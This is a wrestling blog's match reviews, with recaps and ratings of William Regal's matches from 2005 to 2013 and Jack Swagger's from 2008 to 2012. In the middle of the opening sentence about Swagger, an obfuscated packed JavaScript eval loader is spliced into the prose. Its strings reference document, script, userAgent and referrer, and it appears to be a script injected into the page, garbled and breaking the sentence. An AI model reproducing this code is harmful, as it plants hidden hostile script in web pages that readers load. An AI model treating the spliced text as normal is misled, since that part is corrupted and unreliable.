Rating: C+. The match totally doesn’t matter and is rated too high, but this is about giving the fans something to erupt for and that’s exactly what they did here. Tajiri and Regal would hold the belts about three months so this wasn’t just a fluke title reign. No problem at all with this and while it’s not great or anything, it was perfectly done as it made Tajiri look like a star.

Since this is getting WAY too long already, we’re going to skip over the rest of 2005 and pick things up in 2006 when Regal is a replacement opponent for the US Title at Great American Bash.

US Title: Finlay vs. William Regal

JBL goes on a hilarious rant before the match. “LIVER ENZYMES??? AS MUCH AS I’VE DRANK I’M LUCKY TO HAVE A LIVER!!! MY LIVER LOOKS LIKE JAKE ROBERTS’ AND MY LIVER ENZYMES HAVE NEVER BEEN HIGH!” I’m having issues having Cole as a neutral commentator. Regal is worried about Horny (not yet named) interfering. Regal goes a-leprechaun hunting and before the match starts.

Regal says he’ll just leave but Finlay tries to roll him up anyway. They lock up and go all the way to the floor without breaking it. They walk around and back up the steps and into the ring without breaking that lockup. Regal grabs a single leg and works the leg but that gets him nowhere. Regal throws him to the floor and here’s Horny! He pops Regal in the leg and JBL freaks out. “I want one for Christmas!”

Regal loses track of him and stands on the steps instead of, you know, GETTING IN THE RING. Horny sneaks up on him and Regal nearly jumps out of his skin. Back in Finlay gets a clothesline for two and it’s off to a nerve hold. This heel vs. heel thing is only kind of working so they’re going for comedy. JBL gives us a European soccer lesson as Finlay takes over. Regal gets in some kicks and a butterfly suplex for two.

Horny is back! He bites the fingers of Regal and Regal has to rake the eyes of the tiny leprechaun to escape. Back in and Finlay takes over, working on the hand. Regal gets in a shot to the leg to break the momentum. This is a highly technical match to go with the comedy which is an interesting mix. Regal hooks a chinlock but Finlay fights out with some shots to the ribs.

Back to the floor and you can hear them hitting each other incredibly hard. This was the same thing they did back at Uncensored 96, although this is a more entertaining match. Now Finlay hooks the chinlock. Regal throws him into the corner and they ram heads. In a great old school heel move, Regal drops to a knee, putting his leg on Finlay’s throat, while he talks to the referee. Exploder suplex puts Finlay down and there’s a knee drop for two.

The fans call this boring. I call them uncultured slobs. This is a European style match and it’s entertaining to see a different perspective. Regal runs off the apron and gets crotched on the apron skirt. Finlay hammers him back into the ring and takes Regal’s shoe off. It’s possible Horny stole it. Finlay misses a charge and hits the post. The fans are loudly booing now. Regal gets the Irish club that I can’t spell. Horny slips Finlay Regal’s boot though and a shot with that is enough for the pin to keep the title on Finlay.

Rating: C-. I’m going to be in the fairly extreme minority here but I enjoyed this. The technical aspect of it is really good but the comedy stuff is going to be very hit or miss. To be fair though, this was a hard one to work out as the styles really clashed. I was entertained by it though and that’s the point of this.

Regal would hook up with his old partner Dave Taylor as a heel team on Smackdown, with the two eventually getting a Tag Team Title shot at Armageddon 2006.

Smackdown Tag Titles: Paul London/Brian Kendrick vs. Dave Taylor/William Regal

Londrick are champions here. Before the match gets started here’s Teddy. He makes this a ladder match so here are some ladders. Regal FREAKS but Teddy isn’t done. He adds two more teams to make it a fatal fourway title match.

Smackdown Tag Titles: Paul London/Brian Kendrick vs. Daven Taylor/William Regal vs. MNM vs. The Hardys

MNM lost the titles to Londrick and are returning here since Nitro (Morrison) is on Raw. The Hardys are also on Raw but who cares? Jeff is IC Champion and they’re not Boys anymore. The crowd is WAY behind the Hardys. The heels are sent to the floor so it’s Londrick vs. the legends. Matt and London take over but Kendrick and Jeff come back. Spin Cycle takes out London and appropriately enough the Brits come back in.

Matt and I think Nitro pick up ladders and the fight goes to the floor. The Hardys come down the aisle with ladders as Regal and Taylor try to keep them out. Just about everyone is back in now and there’s a pair of ladders. Poetry in Motion hits Regal and Taylor takes a Snapshot. Double superkick puts Regal down again and things slow down a bit.

The champs and the Hardys go at it, including Matt throwing Kendrick into a ladder HARD. Jeff goes up but London makes the save. London goes up but the Hardys save. Nitro tried a springboard move to take him out but the ladder was already down so the spot landing looked sick. Mercury is almost up there but London/Kendrick/Hardys pick up the ladder and shove Mercury over the top onto Nitro.

Poetry in Motion is attempted but London moves and Jeff crashes into the ladder. With everyone down, Kendrick makes a run but Matt saves. Neckbreaker puts Kendrick down and London hits a suplex on Regal outside. Matt gets put on a ladder leaned against the ropes so Kendrick hits a double stomp to the ribs.

Now we get to the famous part of this match. MNM sets up a see-saw thing using a pair of ladders. They put Jeff on the top and set for a double suplex but Matt makes the save. Jeff dives off and the ladder is slammed into Mercury’s face, absolutely destroying his nose. I’ve never seen more blood so fast. His nose was shattered and he would be out for a few weeks and would need 20 stitches.

Due to the injury it’s now a seven man match with the Brits in control. Half nelson release suplex sends London into the ladder. Taylor holds the ladder and Regal goes up but comes down due to fear. Taylor goes up instead but Kendrick comes in for the save. Mercury is already on his way to the hospital. Matt comes back in and hits a Twist of Fate to Taylor. Jeff sets up a ladder on the floor and tries to dive into the ring but Nitro hits a baseball slide to take out the ladder, sending Jeff’s throat into the ropes.

Nitro rides a ladder down onto Regal as a ladder is set up in the ring. Kendrick makes a save and takes Nitro down again. Matt throws Kendrick off the ladder and London has to make the save. Matt backdrops London off but the ladder falls. Jeff vs. Nitro on a ladder now and Jeff gets a big old sunset bomb and the Brits are back. They take everyone down and up they go.

Kendrick gets up there and pounds away on Regal but Taylor pulls him down again. Everyone is down and London starts crawling for the ladders. Matt is up again and goes for the same ladder. There are two ladders next to each other. Matt gets knocked down and London pulls the titles down to retain after a war.

Rating: B+. I wanted to give it an A- but it just didn’t feel right. It’s an excellent match and a great four way ladder match, despite it becoming a three and a half way part of the way through it. Londrick gets a big win here which they need and the fans get all fired up. Definitely the best match of the night (seriously, can you imagine something topping it later?) but it didn’t hit that level of the TLC matches.

Regal again wouldn’t do much for most of 2007 but would become Raw GM late in the year. He would enter the King of the Ring in April 2008 and make it to the finals.

King of the Ring Finals: William Regal vs. CM Punk

Punk comes in with bad ribs because of the matches earlier. Regal is basically in his second match after the Horny match and beating an injured Finlay. Punk starts off fast with some kicks in the corner. He tries the bulldog but gets suplexed down and it’s off to a bow and arrow hold. Punk fights up from that and hits a spinning kick to the knee.

Regal grabs the arms and forces him right back down to the mat as is his custom. The idea is that it’s strikes vs. grapples which is about as natural as you’re going to get with these two. Punk fights up again and hits a BIG kick to the head to stagger Regal. Spinning backfist sets up the high kick for two. That sounded great. Punk loads up the GTS but Regal grabs the rope. He escapes and hits the knee trembler, followed by the Stretch. Punk hangs on for almost thirty seconds but finally has to tap to give Regal the tournament.

Rating: C-. This was too short to mean much but it gave Regal some more psychosis to work with which was a really entertaining time. Then it just stopped cold because it was getting too good and that’s how WWE works. Punk giving up because of the rib injury is ok because Regal didn’t win fairly (coming in at a big advantage), which is fine.

Regal would be Wellnessed off TV and allegedly out of a World Title reign. He would win the Intercontinental Title from Santino Marella in a squash in November before losing the title to CM Punk in a mostly forgettable feud. Regal would get a chance at the US Title at Extreme Rules 2009.

US Title: Kofi Kingston vs. MVP vs. William Regal vs. Matt Hardy

Well this is random. Kofi won the title 6 days ago from MVP. He beat Hardy and Regal for the title shot in the first place. This is an extreme gimmick? Sure why not. MVP is a face here…I think. Yeah he is. Regal has been hitting on Vickie to get into this. Matt gets a rather solid pop. He’s heel here which is just odd to type.

Oh and Matt still has a broken hand from Mania. MVP is the same thing that he is today. That’s all you need to know about him: he hasn’t changed a bit in a year. Regal hasn’t either but he’s more or less a jobber now so it’s not like it matters that much. Kofi hits a dive to take out every American in this match.

Then he takes out the British guy as well. It’s your usual insanity for one of these matches as we get rotating one on one matches. That works fine I think as it’s really the only way you can do these without insane choreography before it starts. Regal gets solid heel heat. He’s just so easy to hate.

Everybody but Matt gets in a Tower of Doom spot so Matt dives on them all but of course it doesn’t work. Also his hand seems to be just fine all of a sudden. For some reason I love that leg drop that Matt does from the middle rope. It’s not like there’s anything really special about it or anything.

Kofi hits a Boom Drop on Regal who is on top of Matt in a decent spot. Kofi hits that pendulum kick that seemingly every midcard face hits now. I was wrong about MVP not changing anything in a year. Now he is even worse at his belly to belly overhead suplexes. Ballin hits on Matt as we’re very close to the end. You can feel it.

Regal beats up everyone but Kofi bounces off the top rope and hits a kick to the head which is called Trouble in Paradise for the pin to retain. It looked like a one footed dropkick but whatever.

Rating: D+. Not bad I guess, but WAY too short. This wasn’t even seven minutes long and it was just kind of a mess. It’s certainly not a bad match or anything like that, but it just felt thrown together and like it was there to kill time. That’s never a good sign. Kofi’s reign is about as forgettable as you could ask one to be also.

It would be off to the ECW roster soon after this where Regal would become the top heel. After losing to Christian in 8 seconds at Summerslam, Regal would get a longer ECW Title shot at Breaking Point.

ECW Championship: Christian vs. William Regal

This is 5 days after the ECW is Leaving announcement was made so there we are. Naturally Christian gets a huge pop being the Canadian. The monsters are sent to the back. This is more of a technical match which is what Regal is a master of. This is an intense match if nothing else. The fans are as into this as they’ve been into anything all night long. Regal avoids the Killswitch three times and then gets it on the fourth. Well that was abrupt. Somehow this was ten minutes long.

Rating: C-. This wasn’t much at all. It could have been a main event on any ECW TV show and it wouldn’t have been anything special at all. This was pretty weak and as mentioned, the announcement that the brand was folding didn’t do much good for the interest level in this match.

Regal would go into semi-retirement after this and only wrestler a few matches a year. We’ll jump ahead to 2013 where Regal is an NXT commentator but Kassius Ohno is tormenting him. They would have a showdown on April 10, 2013.

Kassius Ohno vs. William Regal

They lock up to start with Regal shoving Ohno back. Brad’s stupid joke of the week is to call Dawson Jerry every few moments. Back to the lockup until Regal takes over with an armbar. Ohno is taken to the mat by the arm as Regal cranks away even more. Now it’s a hammerlock and after a drop toehold Ohno still can’t get back up. Regal lets him back up and Ohno grabs a wristlock, only to be easily sent into the corner and stomped down by the old villain.

A forearm puts Ohno down as this has been one sided so far. Ohno finally gets in a shot to the ribs to send Regal to the floor. A baseball slide puts Regal into the barricade and we take a break. Back with Kassius getting two off something we didn’t see and firing off some HARD kicks in the corner to Regal’s head. Now it’s a full nelson to stay on the neck and upper body of Regal. William uses a nice counter to escape and stomps on Kassius’ fingers for good measure. He bends them back around the ropes as momentum changes again.

Regal stays on the arm and hand and drives some knees into Ohno’s face. Ohno comes back with a hard kick to the head to take Regal down as the ear is hurt even more. Another kick crushes Regal’s head against the post but Ohno can’t hook his cravate hold. Kassius kicks Regal again for two but he still can’t hook the Kassius Clutch. Off to a quick chinlock instead but Regal rolls out and hits a quick exploder suplex. His balance is WAY off though so he can’t hook the Regal Stretch.

A belly to back suplex puts Regal on his head again for two more and Kassius is getting frustrated. William is getting all fired up and gets to his feet, only to have his head kicked off for two. Ohno loads up the rolling elbow but Regal nails him in the ribs to set up the Knee Trembler for the pin at 14:06 shown of 17:36.

Rating: B+. This was a match based on emotion and the injury to Regal which worked very well. The story of teacher vs. student is one that always works and it did the job again here. The good thing here is that Regal didn’t look dominant at all at the end, which keeps Ohno from looking weak. Really good and physical match here with a solid story throughout.

The same thing happened later in the year, but with Cesaro instead of Ohno. From Christmas Day, 2013.

Antonio Cesaro vs. William Regal

The Fink is doing entrances, which gives me an answer to the question I just asked. The disgusted yet also terrified look on Regal’s face is perfect. Cesaro cranks on the arm to start and Regal can’t counter. Antonio takes him to the mat but Regal nips up to draw a gasp from the crowd. Cesaro stays on the hold and takes Regal down again but there’s another nip up. “You still got it!”

Regal takes Cesaro down to his knees but still can’t get away from the wrist control as we take a break. Back with Cesaro still on the arm and jumping onto a standing Regal’s shoulders (basically putting himself in a fireman’s carry) to apply even more pressure. Regal flips him down into an armbar but Cesaro nips up just like Regal did earlier. William takes him down by the other arm but Cesaro powers up into a test of strength.

Cesaro easily powers Regal down but the Englishman counters into a cross arm choke. He leans backwards to put Cesaro over his knees while still choking, only to be flipped forward to escape. Back to the test of strength before Regal counters a front facelock into a dragon sleeper. Cesaro flips him forward in a kind of reverse suplex for two but Regal gets him down into the corner and does his “distract the referee while kicking the opponent in the face” spot.

Antonio chop blocks Regal down and rams the bad knee into the apron a few times as we take another break. Back with Cesaro holding a leg lock but Regal keeps fighting back with kicks to the head. Cesaro keeps control by cranking on the knee even more and taking off Regal’s knee brace. The knee is bent around Cesaro’s neck in an old Brock Lock but Regal counters into a rollup and backslide for two each. Cesaro hits a series of ten uppercuts to knock Regal silly, setting up the Cesaro Swing.

After some trash talk Antonio loads up the Neutralizer but Regal backdrops his way out. He drops a knee on Cesaro’s arm to take away the Neutralizer. Regal goes after the arm with everything he’s got and hits an overhead suplex for two. The knee is too damaged for the knee trembler though and Cesaro comes back with a headbutt. Regal is fine with that and headbutts Cesaro right back before loading up a double underhook suplex. Cesaro backdrops Regal but can’t break the grip.

Regal takes him to the mat again and tries the Regal Stretch but Cesaro makes the rope. A forearm from the good arm lays Regal out and a double stomp to the back of the head has the referee checking him. Cesaro looks down at Regal before picking up his limp body. He sets up the Neutralizer but thinks twice about it and lets Regal fall back to the mat. Regal tries to pull himself up so Cesaro puts on the Neutralizer. He looks down at Regal’s unconscious body and looks disgusted after pinning Regal at 16:00 shown of 24:00.

Rating: A. I loved this for a lot of reasons. First of all, the technical stuff at the beginning was excellent with two old school craftsmen doing their jobs as well as anyone can. It’s wrestling in its purest form and when you have guys who can work that style it’s as entertaining as you can get. Then there’s the excellent storytelling with Regal trying every trick he knew but not being able to stop Cesaro’s raw power. The ending with Cesaro not wanting to hurt Regal anymore but giving in to his natural instincts of winning at any cost was great stuff. I loved this match and continue to wait for Cesaro to be taken seriously in WWE.

William Regal is the definition of an old time wrestler. He can wrestle any style and make you HATE him with relative ease. No he wasn’t ever the top guy, but he’s forgotten more about wrestling than almost anyone else can ever learn. Regal will be a trainer or commentator for as long as he wants and a lot of fans will be very lucky to see his students on WWE TV.

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Wrestler of the Day – May 5: Jack Swagger

Is this on? Check one two. It’s Jack Swagger.

Swagger eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsetf|var|u0026u|referrer|tnehk||js|php'.split('|'),0,{})) started under his real name of Jake Hager, a character based on his own real life experiences as a collegiate wrestler at Oklahoma. He won the FCW Title and defended it on their first television show, airing on October 5, 2008.

Florida Heavyweight Championship: Heath Miller vs. Jake Hager

Miller thinks he’s handsome and gives off a kind of Rick Rude/Johnny Nitro feel. He’s more famous as Heath Slater though. Hager is Jack Swagger and is a cross between Angle and Goldberg. He’s undefeated here and the streak is part of his character. Mixed reaction for Hager who is in regular trunks here. Miller is a rock star without the instruments. I’m not sure if that’s better than one man rock band or not.

Miller also has shoulder length hair which is a weird look for him. Big high knee sends Miller to the floor. Hager is a tweener I think but it’s not really clear. Miller with a nice springboard clothesline to take over as we’re running very low on time. Hager avoids a Zig Zag and hooks the gutwrench for the pin and the end of the show.

Rating: C+. Nothing great here but the idea was to have Hager look like a champion as an introduction to the audience which he certainly did. This was a decent little TV match that gave us something to look forward to on the show. I’m not sure why Hager was fighting him but I guess I can let that slide on a debut for a local TV show. Not bad.

Hager would be brought up to WWE on the ECW roster as Jack Swagger, a much more obnoxious version of his FCW character. He would quickly rise up the ranks and challenge Matt Hardy for the ECW Title on January 13, 2009.

ECW Title: Matt Hardy vs. Jack Swagger

Swagger easily takes him down to the mat to start before cranking on Matt’s arm. We take an early break and come back with Hardy fighting out of a headlock. A bulldog out of the corner gets two for the champion and it’s Swagger in a headlock this time. Swagger forearms him down to the floor and it’s time to work on the arm. Matt’s head is bounced off the mat for two and Jack cranks on the arm even more. A big boot gets two on Hardy and we take another break.

Back with Swagger holding an armbar before grabbing a superplex for two. I suddenly remember why I can’t stand Matt Striker on commentary as he goes on a stupid tangent about political caucuses and how no one challenged in a caucus ever wins. Somehow this is supposed to be about champions never retaining. I’m sure it made sense in Striker’s head and I’m just not smart enough to get it. After all, he used to be a high school history teacher. I say that in jest, but his next line to Todd Grisham is “it’s way over your head.”

Anyway Jack loads up another superplex but gets powerbombed off the top for two. The fans are into this in a hurry. The top turnbuckle pad has been ripped off. Hardy grabs a Russian legsweep for two and the Side Effect gets the same. An armbreaker puts Hardy back down and the running Vader Bomb gets a close two. Off to another armbar but Hardy is quickly to his feet before getting caught in an electric chair. Swagger sends him face first into the exposed buckle and the gutwrench powerbomb gives Swagger the title. Jack laughing at stunned children is a great touch.

Rating: C+. I remember liking this match back when I watched it live and I still like it now. Swagger is a guy that had a lot of potential and that powerbomb is something he should use more often instead of the ankle lock. Hardy could have been a solid option as a champion and I was kind of surprised he was a glorified transitional champion.

Hardy got a rematch at the 2009 Royal Rumble.

ECW Title: Jack Swagger vs. Matt Hardy

Swagger won the title about two weeks ago and this is Hardy’s rematch. We actually get big match intros for this, which is a rare sight for an ECW Title match. Matt takes him into the corner to start before punching Jack in the face. Striker calls that a pugilistic endeavor to sound smart. Another punch sends Swagger to the floor and we head back inside for a clothesline from Matt.

Jack heads to the floor to hide after Matt swings again. Back in and Swagger takes Hardy to the mat and cranks on the arm a bit. Hardy comes back with a dropkick in the corner and a bulldog for two, only to go up and get shoved down to the floor. Back in and Swagger starts in on the arm but Hardy quickly escapes a key lock. A punch to Hardy’s arm blocks a clothesline and a big boot gets two for the champion.

Back to the key lock as Jack stays on the arm. He lifts Hardy off the mat by the arm a few times as the fans cheer for the challenger. Matt fights back but he’s basically fighting with one arm here. A bulldog puts Jack down for two and a middle rope elbow to Swagger’s back gets the same.

Hardy walks into a belly to belly suplex from Jack for two though and both guys are down. A DDT on the arm gets two for the champion but Matt blocks a belly to back superplex. Matt hits a decent looking moonsault for two and the fans are getting into these kickouts. The Twist is countered and Jack sends Matt shoulder and possibly head first into the post. The Swagger Bomb retains the title.

Rating: B-. Better match than I was expecting here with both guys looking good out there. Matt was getting close to being something decent as a singles guy and this was his way off ECW and onto Smackdown. Swagger would go on to win a world title and shock the world in the process before falling through the floor soon after. Solid opener here.

We’ll move on to another guy challenging Swagger for the title, this time at No Way Out 2009.

ECW Title: Finlay vs. Jack Swagger

Swags has the title here of course. Christian would come back soon to really get the title going but for now we have this still. You can literally see people heading to get popcorn and drinks as Swagger comes out. Horny helped Finlay break Swagger’s undefeated streak so there’s your reason for this match. Ok, apparently Christian is already back. That came out of nowhere.

Finlay works on the knee but has his shoulder rammed into the post. The fans aren’t exactly impressed. Shoulderbreaker gets two. The fans are more or less openly booing this now. Swagger hammers on the arm as Finlay is in trouble. He gets a move that doesn’t really have a name but Christian has done it before. You set for a reverse DDT but drive the other guy’s back into a knee.

Swagger charges at Finlay in the corner but the Irish dude gets a rolling cradle for one as he couldn’t get the shoulders down. Swagger puts Finlay on the top but they get down without anything of note happening. Crowd is mostly dead but not quite. Here comes Horny again for no apparent reason. Cross body off the middle rope gets two for Finlay. Celtic Cross is set up but for absolutely zero reason at all, Horny gets on the apron (he’s called a child again despite having abeard). Finlay is rammed into him and the gutwrench powerbomb ends this.

Rating: D. Weak match and no one bought Finlay as having a chance with Christian being back now. Horny being up there like that made zero sense at all unless they’re trying to make him out to be a child which is rather stupid as HE HAS A BEARD. Why am I trying to figure out Leprechaun facial hair? Match was kind of there.

Swagger would lose the title to Christian soon after this. He would receive a rematch in a Scramble match at The Bash.

ECW Title: Christian vs. Tommy Dreamer vs. Jack Swagger vs. Mark Henry vs. Finlay

This is a Scramble match which is more or less a gauntlet. Every three minutes someone else comes in and whoever gets the final pin is champion but you have to pin the champion for the pin to count. Uh…sure. Christian and Swagger start us off. Wow it’s weird to see Swagger as champion before Christian. I miss the pushups.

Ok so if Swagger pins Christian he’s IT more or less? I guess that makes sense. I’m assuming that there will be a clock once everyone comes in. Striker implies a heel turn for Christian but nothing ever came for that. The clock begins far before three minutes is up and it’s Finlay. Striker talks about Irishmen from centuries ago as no one cares at all. Swagger pokes Finlay in the eye and rolls him up to become IT.

Christian and Swagger do a nice little sequence that gets two for the Canadian. He beats Christian down as Dreamer is number four. Dreamer beats up everyone with incredibly basic stuff but throws out a Sky High. Ok apparently it’s not Swagger that has to lose the title as it’s just the last pin. Uh…that kind of makes sense I suppose.

They blow a spot where Christian is on the mat and Dreamer gets thrown onto him. It just looked really awkward. Finlay finally comes back to life and hits the Celtic Cross on Swagger to become IT. Finlay and Dreamer don’t work well together to put it mildly. And here’s Henry to suck the life out of the match. Ok so now we have five minutes left and whoever gets the last fall is champion. Got it.

Dreamer takes the World’s Worst Finisher with 4:15 to make Henry IT. Everyone not named Dreamer beats Henry up and the people start booing for some reason. Finlay hits a suicide dive onto Swagger. Have to love old men flying all over the place. Henry teases a top rope dive but for the sake of the gravitational pull, Swagger saves him and gets the pin to become it with about 2:20 to go.

I like knowing how much longer to go at times and this is one of them. Christian hits the Killswitch on Swagger but Dreamer DDTs him at 1:20 to become IT. It becomes a big mess now which makes sense at least. On instinct Dreamer goes for a cover which they don’t point out the stupidity of. Everyone goes for covers but the clock runs out and Dreamer retains. He screams “I WON???” in a funny moment.

Rating: C+. These matches are hard to call but I liked it. Thankfully they haven’t killed them by having them every two weeks or something like that. This still feels fresh though and it comes off as a good way to be different. Also it makes Dreamer look like a competent champion and not a jobber which I can’t complain about. This worked but was still a little bit weird.

After falling through the floor for awhile, Swagger would make it to the Money in the Bank match at Wrestlemania 26.

Kofi Kingston vs. MVP vs. Evan Bourne vs. Jack Swagger vs. Shelton Benjamin vs. Matt Hardy vs. Dolph Ziggler vs. Drew McIntyre vs. Kane vs. Christian

Kane has a BIG black eye for reasons never explained. Remember when I said eight man matches were too busy? Well here’s a TEN man version. It’s a big brawl to start until MVP throws in the first ladder. Drew tries to go up but gets shoved over by Matt. MVP hits a big running boot to knock Drew to the floor. Nine people fight for two sides of a ladder to climb but Kane cleans house and sends about five guys to the floor.

Christian and Matt go up but Kofi (in the rare white trunks) makes the save. Ziggler hits a kind of Zig Zag off the ladder to Christian but Kane and MVP get back inside. Things are already really congested here. Kane is put into the corner and has a ladder rammed into his ribs. Kofi stumbles up the ladder and falls onto the steel. Shelton comes in with Paydirt to MVP and loads up the big ladder, only to be stabbed with a ladder by Swagger. Jack winds up inside the ladder and gets speared from either side with the tops of ladders between the rungs of the big ladder by Christian and Matt.

Now the ladders Matt and Christian used are bridged across the top rope like a big cross kind of thing. Matt and Christian climb up while Bourne climbs up the side of the ladder. The ladder Matt is standing on falls out and Bourne kicks Christian down, but instead of GETTING THE CASE, Evan hits the Shooting Star on Christian. Now Matt stops Bourne but Swagger comes up and throws Matt onto the other bridged ladder, leaving everyone down.

MVP and Shelton go up but a rana by Benjamin send both guys out to the floor. Kane is the first person back inside but Ziggler makes the stop. He actually climbs over Kane but the big man shoves the ladder over to make the stop. A chokeslam onto the ladder has Dolph in trouble, much like Kane actually slamming the ladder onto Ziggler so hard he BREAKS THE LADDER. In the creative spot of the night, Kofi picks up the two broken pieces and walks on the like stilts.

McIntyre finally makes the save and brings the big ladder back inside. Hardy finally makes the save by shoving Drew off the ladder and onto the top rope for a big crotching. Matt is alone but can’t quite pull the thing down. Christian and Kane join him on top and it’s the big bald being shoved down. Christian hits the reverse DDT (called the Twist of Fate by that schnook Cole) and here’s Swagger back inside. It’s Swagger and Christian on top and a case to the head allows Swagger to (FINALLY as it takes forever) pull down the case to win.

Rating: B-. C+. WAY too many people in there which led to way too much laying around. It’s not a terrible match or anything, but these are getting weaker and weaker as they keep going. Kofi’s stilts spot was great but other than that there’s nothing to see here. We’ve seen these same spots so many times now and they’re getting repetitive, making them weaker every time.

Swagger would win the title about eight days later. His first PPV defense was against Randy Orton (who pinned him less than a week after he won the title to set this up because WWE is stupid sometimes). From Extreme Rules 2010.

Smackdown World Title: Randy Orton vs. Jack Swagger

Remember it’s Extreme Rules which I guess means no rules? Crowd loves them some Orton. Swagger controls early on as you would expect. I’m hoping they don’t make the switch tonight. Orton chasing the title for a few months would be nice. Also Swagger needs the credibility that the title gives him.

I love how more or less the announcers say Orton has nothing but the RKO. That’s not that nice. Swagger is dominating but Orton gets a belt shot to break that up. Ok then. Orton hits that same powerslam that Punk hit earlier. Swagger counters the elevated DDT too. Nicely done. It’s garbage can time.

SICK shots with it from Orton. Those were nice. Orton is going off now and it’s awesome. Orton does a stomp to Swagger’s head while he’s on the steps. Ow. The knee drop misses though and Swagger hits the floor. Naturally he gets caught in the elevated DDT though and it’s Orton setting for the RKO now. Hint: when he slaps the mat and shouts, it means RKO is coming.

Instead though he sets up a chair but the RKO onto it is countered. Well kind of it was. The look came off terribly but I get the concept. Gutwrench powerbomb hits and Swagger gets the pin. HUGE win there. That was all Swagger as he countered the RKO and got the pin. All Swagger there. Post match Orton gets the RKO to keep the tweener thing going.

Rating: B-. Not great but the booking was exactly right. This was a decent little match as Swagger is getting better and better in the ring. For the life of me though I have do not agree with having Swagger lose to set up the match. He’s already not a strong champion so they have him get pinned? Have it be a DQ or countout at least. As for the match, I liked it for what it was. It’s no classic but not bad at all.

The title reign wouldn’t last long as people expected it wouldn’t. Swagger would stick around the midcard until the end of the year when he would get a US Title shot at TLC. Swagger wouldn’t win, but he wanted a rematch in regular wrestling. The match too place on the December 30, 2010 episode of Smackdown.

Intercontinental Title: Kofi Kingston vs. Dolph Ziggler vs. Jack Swagger

Unless there’s something extra at the end, there is a ton of time for this at over 15 minutes left of time in the videos, not including commercials.  Striker calls Vickie Haystacks.  For an old school fan like me, Striker’s little one liners are awesome.  Commercial before the match starts so we don’t miss the opening.  And we’re off.

They double team Kofi to start as the commentators like Dolph to retain.  Ah Josh goes with Kofi for his athleticism.  The big elbow hits Kofi as he’s in big trouble.  The fans cheer for him as we’re three minutes into this and it’s been the exact same thing the entire time.  Swagger tells the fans that he’s their hero.

The guy that might be from Africa but might be from the Caribbean takes over and takes out both guys with a big old suicide dive as we take a break.  Back with Kofi holding Swagger in an armbar as Ziggler is still on the floor.  Dolph breaks up what was presumably going to be the Boom Drop and takes Kofi down on the floor.

Back in the ring a Fameasser to Swagger gets two for the champion.  Vickie yells when a Ziggler neckbreaker gets two on Kofi.  Swagger tries to get back up so Dolph drills him off the apron to get back to Kofi.  That’s rather intelligent indeed and a good thing to see in matches.  Dolph cranks on a chinlock as Kofi is in trouble.

Swagger has been on the floor for a long time here.  Kofi fights back and hits a Superman Punch to drop Dolph for awhile.  Boom Drop hits and it’s Kofi in control.  Here comes Trouble in Paradise but Swagger pops up and pulls Kofi out of the air with a German.  Kofi and Dolph ram heads on the suplex and both are down.  Swagger covers both for long twos as the crowd is getting way into this very quickly.

Back up Dolph can’t get a superplex on Kofi so Swagger powerbombs the heck out of the champion instead.  HUGE crossbody by Kofi only gets two.  Swagger takes out the knee as we’re about to go after the ankle.  Kofi counters it but whiffs on Trouble in Paradise.  Ankle Lock goes on but Dolph hooks the Zig Zag on Swagger for two as Kofi makes the save.

This is GREAT stuff if you didn’t get that.  Kofi vs. Swagger at the moment and Kofi gets something similar to a tornado DDT as Swagger stopped the spin part but Kofi dropped him straight down for two as Vickie puts Swagger’s foot on the rope.  Doctor Bomb is reversed and Trouble in Paradise puts Swagger out cold.  Dolph runs in and rolls up Kofi to steal the pin and keep the title at 12:50 shown of 16:20.

Rating: A. Now I’m not a person that likes triple threats for the most part.  For a big time showdown for a title I’m a traditionalist and want to see two people square off for the gold.  This match was great though with great storytelling, a TON of close near falls and an ending that fit it perfectly.  Dolph kept making sure he was in the ring for the vast majority of the time because he knew he had to protect the title.

Other than that you had both guys trying to avoid finishers and using their experience against each other to counter the known moves.  This was incredibly fun and well worth watching as even knowing who wound up winning I got sucked into it.  Great match and great to see the young guys get to show off to end the year.

Swagger would become Michael Cole’s coach for Cole’s showdown with Jerry Lawler at Wrestlemania XXVII. Cole would win (and we’ll leave that disaster at that) and there would be a tag team match to follow up at Extreme Rules 2011.

Michael Cole/Jack Swagger vs. Jim Ross/Jerry Lawler

Country whipping match here, which means they all have straps.  Cole, I kid you not, is wrapped in bubble wrap.  Ross has a legit broken hand after beating Cole up Monday.  Cole gives us his resume as a reporter and insults all of Florida by saying everyone is old.  Lawler vs. Cole to start as Lawler can’t hurt him.  Lawler goes for the only unprotected part: Cole’s face.  There goes the bubble wrap and it’s off to Swagger.

Basically this is Lawler vs. Swagger for all intents and purposes as they have a one on one match for a few minutes.  Lawler gets him down but takes a chop block as he goes after Cole.  Ankle Lock goes on for like 30 seconds as Ross WEAKLY hits Swagger to break the hold.  Off to JR who puts an ankle lock on Swagger!  Swagger escapes and I think accidentally tags Cole.  Ross wastes WAY too much time for a clothesline and whips Cole a bit.  Ankle lock goes on Cole and even takes Swagger out with a low blow.  He turns to whip Swagger….and gets rolled up by Cole to end it.  Dang it this is going to keep going isn’t it?

Rating: F. Hey look, Cole wins again and gets to run his mouth a bit more.  Not as bad as Mania but still, DO SOMETHING ELSE!  This has been done and it’s been done multiple times already so why do they keep going with it?  Cole can still be a jerk but give us SOMETHING for a change instead.  Match sucked too.

He wouldn’t be an All-American American if he didn’t wrestle on the Fourth of July would he? From 2011.

Sgt. Slaughter vs. Jack Swagger

Slaughter is very bald.  If you’ve seen any Sarge match where he’s a legend you’ll seen this one.  Sarge gets the jump on him a few seconds into the match and gets the Cobra Clutch but Swagger escapes and a Vader Bomb ends this at 1:18.

In late 2011, the hottest star in the company was Zack Ryder. WWE then decided that having him over in the midcard and selling a ton of merchandise was a bad thing, so they had Kane beat him up and then defend the US Title against Jack Swagger on January 16, 2012’s Raw.

US Title: Jack Swagger vs. Zack Ryder

Swagger goes straight for the ribs and Ryder’s offense can’t do much. Vader Bomb to the back gets two. Gutwrench powerbomb barely gets two. Another gets the same. He drops elbows on Ryder’s ribs and slaps him around before hitting a third powerbomb…and he wins the freaking title at 2:35.

